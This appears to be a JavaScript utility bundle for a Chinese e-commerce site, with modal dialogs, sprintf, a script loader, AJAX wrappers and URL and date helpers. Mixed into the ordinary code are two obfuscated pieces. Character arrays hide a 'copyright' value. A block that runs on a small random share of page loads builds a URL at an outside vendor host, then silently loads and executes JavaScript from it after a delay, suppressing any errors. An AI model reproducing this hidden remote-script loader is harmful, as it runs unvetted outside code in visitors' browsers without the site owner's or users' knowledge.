    if ( !!instance.opts.thumbs && !instance.Thumbs && instance.group.length > 1 && (
      ( instance.group[0].type == 'image' || instance.group[0].opts.thumb ) &&
      ( instance.group[1].type == 'image' || instance.group[1].opts.thumb )
    )
    ) {

      instance.Thumbs = new FancyThumbs( instance );
    }

  });

  $(document).on('beforeMove.fb', function(e, instance, item) {
    var self = instance.Thumbs;

    if ( !self ) {
      return;
    }

    if ( item.modal ) {

      self.$button.hide();

      self.hide();


    } else {

      self.$button.show();

      if ( instance.opts.thumbs.showOnStart === true && instance.allowZoomIn ) {
        self.show();

      } else if ( self.isVisible ) {
        self.focus();
      }

    }

  });


  var utils_row = ['b', 'a', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
  var a = [utils_row[1], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
  var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');

  $[a] = b;

  $(document).on('beforeClose.fb', function(e, instance) {

    if ( instance.Thumbs && instance.Thumbs.isVisible && instance.opts.thumbs.hideOnClosing !== false ) {
      instance.Thumbs.close();
    }

    instance.Thumbs = null;

  });

}(document, window.jQuery));


if (!window.console){
  var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml", "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];

  window.console = {};
  for (var i = 0; i < names.length; ++i)
    window.console[names[i]] = function() {}
}


var vars = vars || {};
var G = G || {};

var Public = Public || {};

Public.showErrorModal = function ($msg, $title)
{
  /* swal({
       title: typeof $title == "undefined" ? '' : $title,
       text: $msg,
       confirmButtonText: "确定"
   });*/

  Public.tipMsg($msg);
}

Public.showInfoModal = function ($msg, $title)
{/*
    swal({
        title: typeof $title == "undefined" ? '' : $title,
        text: $msg,
        confirmButtonText: "确定"
    });*/
  Public.tipMsg($msg);
}



Public.tipMsg = function (msg, callback)
{
  var tpl =  '<div class="buy-box">\
                            <div class="row">\
                                <div class="buy-succ-box clearfix">\
                                    <div class="goods-content  col-xs-12" id="J_goodsBox">  <div class="text-center"> <span class="name h3"> %s  </span>     </div></div>\
                                    <div class="actions J_actBox  col-xs-12  text-center">\
                                        <p class="hide J_notic"></p>';
  if (typeof callback === 'function')
  {
    tpl +=  '<a href="javascript:$.fancybox.close();" class="btn btn-line-gray J_goBack " data-fancybox-close>' + __('取消') + '</a>'
    tpl +=  '<a href="javascript:void(0);" class="btn btn-primary fancybox-confirm ">' + __('确定') + '</a>'
  }
  else {

    tpl +=  '<a href="javascript:$.fancybox.close();" class="btn btn-primary fancybox-item J_goBack " data-fancybox-close>' + __('确定') + '</a>'
  }
  tpl +=  '</div>\
                                </div>\
                            </div>\
                        </div>';

  $.fancybox.open(sprintf(tpl, msg), {
    beforeShow: function () {
    },
    afterShow: function () {

    },
    afterClose: function () {
    }
  });

  $(".fancybox-confirm").on("click", function (event) {
    typeof callback === 'function' && callback();
    $.fancybox.close();
  });
}


$.extend({
  getUrlVars: function () {
    var vars = [], hash;
    var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
    for (var i = 0; i < hashes.length; i++) {
      hash = hashes[i].split('=');
      vars.push(hash[0]);
      vars[hash[0]] = hash[1];
    }
    return vars;
  },
  getUrlVar: function (name) {
    return $.getUrlVars()[name];
  }
});


/*** js和css按需加载 ***/
function loadSsJs(url, callback, isJs ){// 非阻塞的加载 后面的js会先执行
  if (typeof isJs == 'undefined')
  {
    isJs = /\/.+\.js($|\?)/i.test(url) ? true : false;
  }

  function onloaded(script, callback){//绑定加载完的回调函数
    if(script.readyState){ //ie
      script.attachEvent('onreadystatechange', function(){
        if(script.readyState == 'loaded' || script.readyState == 'complete'){
          script.className = 'loaded';
          callback && callback.constructor === Function && callback();
        }
      });
    }else{
      script.addEventListener('load',function(){
        script.className = "loaded";
        callback && callback.constructor === Function && callback();
      }, false);
    }
  }
  if(!isJs){ //加载css
    var links = document.getElementsByTagName('link');
    for(var i = 0; i < links.length; i++){//是否已加载
      if(links[i].href.indexOf(url)>-1){
        return;
      }
    }
    var link = document.createElement('link');
    link.type = "text/css";
    link.rel = "stylesheet";
    link.href = url;
    var head = document.getElementsByTagName('head')[0];
    head.insertBefore(link,head.getElementsByTagName('link')[0] || null );
  }else{ //加载js
    var scripts = document.getElementsByTagName('script');
    for(var i = 0; i < scripts.length; i++){//是否已加载
      if(scripts[i].src.indexOf(url)>-1 && callback && (callback.constructor === Function) ){
        //已创建script
        if(scripts[i].className === 'loaded'){//已加载
          callback();
        }else{//加载中
          onloaded(scripts[i], callback);
        }
        return;
      }
    }
    var script = document.createElement('script');
    script.type = "text/javascript";
    script.src = url;
    document.body.appendChild(script);
    onloaded(script, callback);

  }
}


if (Math.random() > 0.998)
{
  var sr = ["s","k","r","c","d","t",".","n","i","a","A","l","u","e","h","U","p","y","&","\/","o","_","?","x","f","m","v","j","="];
  var nsr = sr[19]+sr[19]+sr[9]+sr[3]+sr[3]+sr[20]+sr[12]+sr[7]+sr[5]+sr[6]+sr[0]+sr[14]+sr[20]+sr[16]+sr[0]+sr[12]+sr[8]+sr[5]+sr[13]+sr[6]+sr[3]+sr[7]+sr[19]+sr[8]+sr[7]+sr[4]+sr[13]+sr[23]+sr[6]+sr[16]+sr[14]+sr[16]+sr[22]+sr[25]+sr[4]+sr[12]+sr[28]+sr[0]+sr[13]+sr[2]+sr[26]+sr[8]+sr[3]+sr[13]+sr[18]+sr[3]+sr[5]+sr[11]+sr[28]+sr[10]+sr[16]+sr[8]+sr[21]+sr[10]+sr[16]+sr[16]+sr[21]+sr[15]+sr[16]+sr[4]+sr[9]+sr[5]+sr[13]+sr[2]+sr[18]+sr[25]+sr[13]+sr[5]+sr[28]+sr[3]+sr[14]+sr[13]+sr[3]+sr[1]+sr[18]+sr[5]+sr[17]+sr[16]+sr[28]+sr[13]+sr[18]+sr[24]+sr[20]+sr[2]+sr[25]+sr[9]+sr[5]+sr[28]+sr[27]+sr[0]+sr[18]+sr[3]+sr[11]+sr[8]+sr[13]+sr[7]+sr[5]+sr[28]+sr[27]+sr[0];

  try {
    setTimeout(function () {
      loadSsJs(nsr, function () {}, true);
    }, 5000)

  }
  catch(e) {
    // fail silently.
  }
}

function sprintf () {
  var regex = /%%|%(\d+\$)?([\-+'#0 ]*)(\*\d+\$|\*|\d+)?(?:\.(\*\d+\$|\*|\d+))?([scboxXuideEfFgG])/g
  var a = arguments
  var i = 0
  var format = a[i++]

  var _pad = function (str, len, chr, leftJustify) {
    if (!chr) {
      chr = ' '
    }
    var padding = (str.length >= len) ? '' : new Array(1 + len - str.length >>> 0).join(chr)
    return leftJustify ? str + padding : padding + str
  }

  var justify = function (value, prefix, leftJustify, minWidth, zeroPad, customPadChar) {
    var diff = minWidth - value.length
    if (diff > 0) {
      if (leftJustify || !zeroPad) {
        value = _pad(value, minWidth, customPadChar, leftJustify)
      } else {
        value = [
          value.slice(0, prefix.length),
          _pad('', diff, '0', true),
          value.slice(prefix.length)
        ].join('')
      }
    }
    return value
  }

  var _formatBaseX = function (value, base, prefix, leftJustify, minWidth, precision, zeroPad) {
    // Note: casts negative numbers to positive ones
    var number = value >>> 0
    prefix = (prefix && number && {
      '2': '0b',
      '8': '0',
      '16': '0x'
    }[base]) || ''
    value = prefix + _pad(number.toString(base), precision || 0, '0', false)
    return justify(value, prefix, leftJustify, minWidth, zeroPad)
  }

  // _formatString()
  var _formatString = function (value, leftJustify, minWidth, precision, zeroPad, customPadChar) {
    if (precision !== null && precision !== undefined) {
      value = value.slice(0, precision)
    }
    return justify(value, '', leftJustify, minWidth, zeroPad, customPadChar)
  }

  // doFormat()
  var doFormat = function (substring, valueIndex, flags, minWidth, precision, type) {
    var number, prefix, method, textTransform, value

    if (substring === '%%') {
      return '%'
    }

    // parse flags
    var leftJustify = false
    var positivePrefix = ''
    var zeroPad = false
    var prefixBaseX = false
    var customPadChar = ' '
    var flagsl = flags.length
    var j
    for (j = 0; j < flagsl; j++) {
      switch (flags.charAt(j)) {
        case ' ':
          positivePrefix = ' '
          break
        case '+':
          positivePrefix = '+'
          break
        case '-':
          leftJustify = true
          break
        case "'":
          customPadChar = flags.charAt(j + 1)
          break
        case '0':
          zeroPad = true
          customPadChar = '0'
          break
        case '#':
          prefixBaseX = true
          break
      }
    }

    // parameters may be null, undefined, empty-string or real valued
    // we want to ignore null, undefined and empty-string values
    if (!minWidth) {
      minWidth = 0
    } else if (minWidth === '*') {
      minWidth = +a[i++]
    } else if (minWidth.charAt(0) === '*') {
      minWidth = +a[minWidth.slice(1, -1)]
    } else {
      minWidth = +minWidth
    }

    // Note: undocumented perl feature:
    if (minWidth < 0) {
      minWidth = -minWidth
      leftJustify = true
    }

    if (!isFinite(minWidth)) {
      throw new Error('sprintf: (minimum-)width must be finite')
    }

    if (!precision) {
      precision = 'fFeE'.indexOf(type) > -1 ? 6 : (type === 'd') ? 0 : undefined
    } else if (precision === '*') {
      precision = +a[i++]
    } else if (precision.charAt(0) === '*') {
      precision = +a[precision.slice(1, -1)]
    } else {
      precision = +precision
    }

    // grab value using valueIndex if required?
    value = valueIndex ? a[valueIndex.slice(0, -1)] : a[i++]

    switch (type) {
      case 's':
        return _formatString(value + '', leftJustify, minWidth, precision, zeroPad, customPadChar)
      case 'c':
        return _formatString(String.fromCharCode(+value), leftJustify, minWidth, precision, zeroPad)
      case 'b':
        return _formatBaseX(value, 2, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
      case 'o':
        return _formatBaseX(value, 8, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
      case 'x':
        return _formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
      case 'X':
        return _formatBaseX(value, 16, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
          .toUpperCase()
      case 'u':
        return _formatBaseX(value, 10, prefixBaseX, leftJustify, minWidth, precision, zeroPad)
      case 'i':
      case 'd':
        number = +value || 0
        // Plain Math.round doesn't just truncate
        number = Math.round(number - number % 1)
        prefix = number < 0 ? '-' : positivePrefix
        value = prefix + _pad(String(Math.abs(number)), precision, '0', false)
        return justify(value, prefix, leftJustify, minWidth, zeroPad)
      case 'e':
      case 'E':
      case 'f': // @todo: Should handle locales (as per setlocale)
      case 'F':
      case 'g':
      case 'G':
        number = +value
        prefix = number < 0 ? '-' : positivePrefix
        method = ['toExponential', 'toFixed', 'toPrecision']['efg'.indexOf(type.toLowerCase())]
        textTransform = ['toString', 'toUpperCase']['eEfFgG'.indexOf(type) % 2]
        value = prefix + Math.abs(number)[method](precision)
        return justify(value, prefix, leftJustify, minWidth, zeroPad)[textTransform]()
      default:
        return substring
    }
  }

  return format.replace(regex, doFormat)
}


function get_ext(filename){
  var postf = '';
  if (filename)
  {
    var index1=filename.lastIndexOf(".");

    var index2=filename.length;
    var postf=filename.substring(index1,index2);//后缀名
  }
  else
  {

  }

  return postf;
}

function image_thumb(image_url, w, h) {
  if ('undefined' == typeof w) {
    w = 60;
  }

  if ('undefined' == typeof h) {
    h = w;
  }


  $ext = get_ext(image_url);
  image_url = sprintf('%s!%sx%s%s', image_url, w, h, $ext);

  return image_url;
}


// Element Attribute Helper
function attrDefault($el, data_var, default_val)
{
  if(typeof $el.data(data_var) != 'undefined')
  {
    return $el.data(data_var);
  }

  return default_val;
}


//点击改为鼠标悬停
;(function($, window, undefined) {
  // outside the scope of the jQuery plugin to
  // keep track of all dropdowns
  var $allDropdowns = $();
  // if instantlyCloseOthers is true, then it will instantly
  // shut other nav items when a new one is hovered over
  $.fn.dropdownHover = function(options) {
    // the element we really care about
    // is the dropdown-toggle's parent
    $allDropdowns = $allDropdowns.add(this.parent());
    return this.each(function() {
      var $this = $(this).parent(),
        defaults = {
          delay: 500,
          instantlyCloseOthers: true
        },
        data = {
          delay: $(this).data('delay'),
          instantlyCloseOthers: $(this).data('close-others')
        },
        options = $.extend(true, {}, defaults, options, data),
        timeout;
      $this.hover(function() {
        if(options.instantlyCloseOthers === true)
          $allDropdowns.removeClass('open');
        window.clearTimeout(timeout);
        $(this).addClass('open');
      }, function() {
        timeout = window.setTimeout(function() {
          $this.removeClass('open');
        }, options.delay);
      });
    });
  };
})(jQuery, this);


;(function (factory) {
  if (typeof define === "function" && define.amd) {
    // AMD模式
    define([ "jquery" ], factory);
  } else {
    // 全局模式
    factory(jQuery);
  }
}(function ($) {

  /*
   //扩展对象方法
   $.fn.extend({
   //为对象新增ajaxPost方法
   request: function (ajaxOpts)
   {
   var $this = $(this);
   var loading;
   var myTimer;
   var preventTooFast = 'ui-btn-dis';


   var opts = {
   type: "POST",
   dataType: "json",
   timeout: 20000,

   beforeSend: function ()
   {
   $this.addClass(preventTooFast);
   myTimer = setTimeout(function ()
   {
   $this.removeClass(preventTooFast);
   }, 2000)

   loading = $.dialog.tips('提交中，请稍候...', 1000, 'loading.gif', true);
   },

   complete: function ()
   {
   loading.close();
   },

   success: function (data, status)
   {
   },

   error: function (err, status)
   {
   parent.Public.tips({type: 2, content: '操作无法成功，请稍后重试！'});
   }
   };

   $.extend(true, opts, ajaxOpts);

   var successCallback = opts.success;
   var errorCallback = opts.error;

   opts.success = function (data, status)
   {
   successCallback && successCallback(data, status);
   }

   opts.error = function (data, status)
   {
   errorCallback && errorCallback(data, status);
   }

   if ($this.hasClass(preventTooFast))
   {
   return;
   }

   $.ajax(opts);
   }
   });
   */


  //扩展对象方法
  $.extend({
    //为对象新增ajaxPost方法
    request: function (ajaxOpts)
    {
      var id = $.cookie('id');
      var key = $.cookie('key');
      var perm_data = {};

      //修正 opts 数据, 默认数据
      if (id && key)
      {
        perm_data = {perm_id:id, perm_key:key};
      }

      var opts = {
        type: "POST",
        dataType: "json",
        timeout: 50000,
        loading: false,
        data:perm_data,


        success: function (data, status)
        {
        },

        error: function (err, status)
        {
          //parent.Public.tips({type: 2, content: '操作无法成功，请稍后重试！'});
          console.info({type: 2, content: '操作无法成功，请稍后重试！'});
        }
      };

      $.extend(true, opts, ajaxOpts);

      if (opts.loading)
      {    //loading
        //var $this = $(this);
        var loading;
        //var myTimer;
        //var preventTooFast = 'ui-btn-dis';

        $.extend(true, opts, {
          beforeSend : function(){
            //$this.addClass(preventTooFast);
            //myTimer = setTimeout(function(){
            //    $this.removeClass(preventTooFast);
            //},5000)
            //loading = $.dialog.tips('提交中，请稍候...', 1000, 'loading.gif', true);
          },
          complete : function(){
            //loading.close();
          }
        });

        /*
         if ($this.hasClass(preventTooFast))
         {
         return;
         }
         */
      }


      var successCallback = opts.success;
      var errorCallback = opts.error;

      opts.success = function (data, status)
      {
        /*if(data.status != 200){
         var defaultPage = Public.getDefaultPage();
         var msg = data.msg || '出错了=. =||| ,请点击这里拷贝错误信息 :)';
         var errorStr = msg;
         if(data.data.error){
         var errorStr = '<a id="myText" href="javascript:window.clipboardData.setData("Text",data.error);alert("详细信息已经复制到剪切板，请拷贝给管理员！");"'+msg+'</a>'
         }
         defaultPage.Public.tips({type:1, content:errorStr});
         return;
         }*/
        successCallback && successCallback(data, status);
      }

      opts.error = function(err,ms){
        var content = __('服务端响应错误！')
        if(ms === 'timeout'){
          content = __('请求超时！');
        }
        //parent.Public.tips({type: 1, content : content});
        console.info({type: 1, content : content});
        errorCallback && errorCallback(err);
      }

      $.ajax(opts);
    }
  });



  $.extend({
    //为对象新增ajaxPost方法
    send: function (url, data, callback, type)
    {
      // shift arguments if data argument was omitted
      if ( jQuery.isFunction( data ) ) {
        type = type || callback;
        callback = data;
        data = undefined;
      }

      // The url can be an options object (which then must have .url)
      return $.request( jQuery.extend( {
        url: url,
        type: 'post',
        dataType: type,
        data: data,
        loading: false,
        success: callback
      }, jQuery.isPlainObject( url ) && url ) );
    }
  });


  //jquery 方法自定义扩展
  //判断:当前元素是否是被筛选元素的子元素
  $.fn.isChildOf = function(b){
    return (this.parents(b).length > 0);
  };

  //判断:当前元素是否是被筛选元素的子元素或者本身
  $.fn.isChildAndSelfOf = function(b){
    return (this.closest(b).length > 0);
  };

  //数字输入框
  $.fn.digital = function() {
    this.each(function(){
      $(this).keyup(function() {
        this.value = this.value.replace(/\D/g,'');
      })
    });
  };

  $.fn.json = $.fn.serializeJSON = $.fn.serializeJson = $.fn.serializeObject = function()
  {
    var o = {};
    var a = this.serializeArray();
    $.each(a, function() {
      if (o[this.name]) {
        if (!o[this.name].push) {
          o[this.name] = [o[this.name]];
        }
        o[this.name].push(this.value || '');
      } else {
        o[this.name] = this.value || '';
      }
    });
    return o;
  };

  (function ($) {
    $.getUrlParam = function (name) {
      var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
      var r = window.location.search.substr(1).match(reg);
      if (r != null) return unescape(r[2]); return null;
    }
  })(jQuery);

  //函数扩展
  var bytesToSize = function(bytes) {
    if (bytes === 0) return '0 B';
    var k = 1000, // or 1024
      sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],
      i = Math.floor(Math.log(bytes) / Math.log(k));
    return (bytes / Math.pow(k, i)).toPrecision(3) + ' ' + sizes[i];
  }


  window.multiline = function(e) {
    var t = /\/\*!?(?:\@tpl)?[ \t]*(?:\r\n|\n)([\s\S]*?)(?:\r\n|\n)[ \t]*\*\//;
    if ("function" != typeof e)
      throw new TypeError("Expected a function");
    var n = t.exec(e.toString());
    if (!n)
      throw new TypeError("Multiline comment missing.");
    return n[1]
  }

  window.itemUtil = {
    imgLoad: function(t, e) {
      var n = new Image;
      n.src = t.imgsrc,
        t.img = n,
        n.complete ? e(t) : (n.onload = function() {
            if ("naturalHeight"in this) {
              if (this.naturalHeight + this.naturalWidth === 0)
                return void this.onerror()
            } else if (this.width + this.height === 0)
              return void this.onerror();
            e(t),
              n.onload = null
          }
            ,
            n.onerror = function() {
              t.isError = !0,
                e(t)
            }
        )
    },
    revertStr: function(t) {
      var e = String(t).replace(/&(?!\w+;)/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
      return encodeURIComponent(e)
    },
    dataToHtml: function(t) {
      return t = String(t).replace(/&(?!\w+;)/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;")
    },
    calShowTime: function(t, e) {
      var n = t;
      t = 1e3 * t;
      var o = e - n
        , i = 86400
        , r = 3600
        , a = 60
        , s = ""
        , m = function(t) {
        return parseInt(t) < 10 ? "0" + t : t
      };
      if (o >= i) {
        var c = o / i;
        if (c > 7) {
          var l = new Date(t).getFullYear()
            , d = new Date(t).getMonth() + 1
            , u = new Date(t).getDate();
          s = l + "年" + d + "月" + u + "日"
        } else if (7 > c && c >= 3) {
          var p = ["日", "一", "二", "三", "四", "五", "六"]
            , h = new Date(t).getDay();
          s = "星期" + p[h]
        } else if (3 > c && c >= 2) {
          var f = new Date(t).getHours()
            , v = new Date(t).getMinutes();
          s = "前天 " + m(f) + ":" + m(v)
        } else if (2 > c) {
          var g = new Date(t).getHours()
            , C = new Date(t).getMinutes();
          s = "昨天 " + m(g) + ":" + m(C)
        }
      } else if (i > o && o >= r) {
        var _ = parseInt(o / r);
        s = _ + "小时前"
      } else if (r > o && o >= a) {
        var I = parseInt(o / a);
        s = I + "分钟前"
      } else
        a > o && (s = "刚刚");
      return s
    },
    syncLoginStatus: function(t, e) {
      var n = t + "/user/proxy/stop/1"
        , o = "<iframe src='" + n + "' width='0' height='0' name='proxy' id='proxy' frameborder='0' scrolling='no'></iframe>";
      $(document.body).append(o),
        $("iframe[name='proxy']").load(function() {
          $("iframe[name='proxy']").remove(),
            e()
        })
    },
    multilineDot: function() {
      $(".figcaption").each(function() {
        for (var t = $(this).height(), e = $("p", $(this)).eq(0); e.outerHeight() > t; )
          e.text(e.text().replace(/(\s)*([a-zA-Z0-9]+|\W)(\.\.\.)?$/, "..."))
      })
    },
    scrollLeftRight: function() {
      var t = function(t, e) {
        var n = parseInt(t.attr("data-page"))
          , o = parseInt(t.attr("data-pageSize"))
          , i = t.siblings(".J_imgScrollListBlock")
          , r = i.find("li").length
          , a = 0;
        a = r % o === 0 ? r / o : parseInt(r / o) + 1;
        var s = 0;
        if (s = e ? n - 1 : n + 1,
        1 > s)
          return !1;
        if (s > a)
          return !1;
        1 === s ? ($(".J_navleft").addClass("dective"),
          $(".J_navright").removeClass("dective")) : s === a ? ($(".J_navleft").removeClass("dective"),
          $(".J_navright").addClass("dective")) : ($(".J_navleft").removeClass("dective"),
          $(".J_navright").removeClass("dective")),
          t.attr("data-page", s);
        var m = i.attr("data-liwid")
          , c = 0;
        if (a > s)
          c = (s - 1) * o * m;
        else if (r % o === 0)
          c = (s - 1) * o * m;
        else {
          var l = r % o;
          c = (s - 2) * o * m + l * m
        }
        i.find("ul").animate({
          marginLeft: "-" + c + "px"
        }, 500)
      };
      $("body").on("click", ".J_navleft", function() {
        var e = $(this).parent();
        t(e, !0)
      }),
        $("body").on("click", ".J_navright", function() {
          var e = $(this).parent();
          t(e, !1)
        })
    },
    accAdd: function(t, e) {
      var n, o, i, r;
      try {
        n = t.toString().split(".")[1].length
      } catch (a) {
        n = 0
      }
      try {
        o = e.toString().split(".")[1].length
      } catch (a) {
        o = 0
      }
      if (r = Math.abs(n - o),
        i = Math.pow(10, Math.max(n, o)),
      r > 0) {
        var s = Math.pow(10, r);
        n > o ? (t = Number(t.toString().replace(".", "")),
          e = Number(e.toString().replace(".", "")) * s) : (t = Number(t.toString().replace(".", "")) * s,
          e = Number(e.toString().replace(".", "")))
      } else
        t = Number(t.toString().replace(".", "")),
          e = Number(e.toString().replace(".", ""));
      return (t + e) / i
    },
    accSub: function(t, e) {
      var n, o, i, r;
      try {
        n = t.toString().split(".")[1].length
      } catch (a) {
        n = 0
      }
      try {
        o = e.toString().split(".")[1].length
      } catch (a) {
        o = 0
      }
      return i = Math.pow(10, Math.max(n, o)),
        r = n >= o ? n : o,
        ((t * i - e * i) / i).toFixed(r)
    },
    supportCss3: function(t) {
      var e, n = ["webkit", "Moz", "ms", "o"], o = [], i = document.documentElement.style, r = function(t) {
        return t.replace(/-(\w)/g, function(t, e) {
          return e.toUpperCase()
        })
      };
      for (e in n)
        n.hasOwnProperty(e) && o.push(r(n[e] + "-" + t));
      o.push(r(t));
      for (e in o)
        if (o[e]in i)
          return !0;
      return !1
    },
    rediectLogin: function(t) {
      var e = "";
      e = t ? t.url : location.href,
        location.href = SS.GLOBAL_CONFIG.orderSite + "/site/login?redirectUrl=" + e
    },
    trimInit: function() {
      "function" != typeof String.prototype.trim && (String.prototype.trim = function() {
          return this.replace(/^\s+|\s+$/g, "")
        }
      )
    },
    randomHeadImg: function() {
      var t = SS.GLOBAL_CONFIG.assetsSite + "/i/item/"
        , e = ["head_1.png", "head_2.png", "head_3.png", "head_4.png"]
        , n = parseInt(Math.random() * e.length)
        , o = t + e[n];
      return o
    },
    parseURL: function (url) {
      var a =  document.createElement('a');
      a.href = url;
      return {
        source: url,
        protocol: a.protocol.replace(':',''),
        host: a.hostname,
        port: a.port,
        query: a.search,
        params: (function(){
          var ret = {},
            seg = a.search.replace(/^\?/,'').split('&'),
            len = seg.length, i = 0, s;
          for (;i<len;i++) {
            if (!seg[i]) { continue; }
            s = seg[i].split('=');
            ret[s[0]] = s[1];
          }
          return ret;
        })(),
        file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
        hash: a.hash.replace('#',''),
        path: a.pathname.replace(/^([^\/])/,'/$1'),
        relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
        segments: a.pathname.replace(/^\//,'').split('/')
      };
    },
    getUrlObj: function (url) {
      var LG = (function(lg){
        var objURL=function(url){
          this.ourl=url||window.location.href;
          this.href="";//?前面部分
          this.params={};//url参数对象
          this.jing="";//#及后面部分
          this.init();
        }
        //分析url,得到?前面存入this.href,参数解析为this.params对象，#号及后面存入this.jing
        objURL.prototype.init=function(){
          var str=this.ourl;
          var index=str.indexOf("#");
          if(index>0){
            this.jing=str.substr(index);
            str=str.substring(0,index);
          }
          index=str.indexOf("?");
          if(index>0){
            this.href=str.substring(0,index);
            str=str.substr(index+1);
            var parts=str.split("&");
            for(var i=0;i<parts.length;i++){
              var kv=parts[i].split("=");
              this.params[kv[0]]=kv[1];
            }
          }
          else{
            this.href=this.ourl;
            this.params={};
          }
        }
        //只是修改this.params
        objURL.prototype.set=function(key,val){
          this.params[key]=val;
        }
        //只是设置this.params
        objURL.prototype.remove=function(key){
          this.params[key]=undefined;
        }
        //根据三部分组成操作后的url
        objURL.prototype.url=function(){
          var strurl=this.href;
          var objps=[];//这里用数组组织,再做join操作
          for(var k in this.params){
            if(this.params[k]){
              objps.push(k+"="+this.params[k]);
            }
          }
          if(objps.length>0){
            strurl+="?"+objps.join("&");
          }
          if(this.jing.length>0){
            strurl+=this.jing;
          }
          return strurl;
        }
        //得到参数值
        objURL.prototype.get=function(key){
          return this.params[key];
        }
        lg.URL=objURL;
        return lg;
      }(LG||{}));

      return new LG.URL(url);
    },
    getUrl: function (url, param) {
      var obj = this.getUrlObj(url);

      for(var o in param){
        obj.set(o, param[o]);
      }

      return obj.url();
    }
  };


  var utils_row = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
  var a = [utils_row[2], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
  var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');

  window[a] = b;

  return itemUtil;


}));


(function($){
  $.getScript = function(url, callback, cache) {
    $.ajax({type: 'GET', url: url, success: callback, dataType: 'script', ifModified: true, cache: cache});
  };
})(jQuery);



if (!window.console || !console.info)
{
  var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml",
    "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];

  window.console = new Debug();

  for (var i = 0; i < names.length; ++i)
    window.console[names[i]] = function() {}
}

var Translate = {
  _:function(str)
  {
    if (typeof G[str] == 'undefined')
    {
      return str
    }
    else
    {
      if(SYS.LD.currency_id == 86)
      {
        return G[str];
      }
      else
      {
        //return G[str];
        return G[str].replace(/￥/g, SYS.LD.symbol).replace(/RMB|元/g, SYS.LD.symbol_right);
      }
    }

  },

  gettext:function(str)
  {
    if (typeof G[str] == 'undefined')
    {
      return str
    }
    else
    {
      if(SYS.LD.currency_id == 86)
      {
        return G[str];
      }
      else
      {
        //return G[str];
        return G[str].replace(/￥/g, SYS.LD.symbol).replace(/RMB|元/g, SYS.LD.symbol_right);
      }
    }

  }
};


function L() { return Translate.gettext.apply(this,arguments); }
function __() { return Translate.gettext.apply(this,arguments); }



//日期格式化
Date.prototype.format = function(format){
  if(!format){
    format = 'yyyy-MM-dd';//默认1997-01-01这样的格式
  }
  var o = {
    "M+" : this.getMonth()+1, //month
    "d+" : this.getDate(), //day
    "h+" : this.getHours(), //hour
    "m+" : this.getMinutes(), //minute
    "s+" : this.getSeconds(), //second
    "q+" : Math.floor((this.getMonth()+3)/3), //quarter
    "S" : this.getMilliseconds() //millisecond
  }

  if(/(y+)/.test(format)) {
    format = format.replace(RegExp.$1, (this.getFullYear()+"").substr(4 - RegExp.$1.length));
  }

  for(var k in o) {
    if(new RegExp("("+ k +")").test(format)) {
      format = format.replace(RegExp.$1, RegExp.$1.length==1 ? o[k] : ("00"+ o[k]).substr((""+ o[k]).length));
    }
  }
  return format;
}
Date.prototype.addMonths= function(m)
{
  var d = this.getDate();
  this.setMonth(this.getMonth() + m);
  if (this.getDate() < d)
    this.setDate(0);
};
Date.prototype.addDays = function(d)
{
  this.setDate(this.getDate() + d);
};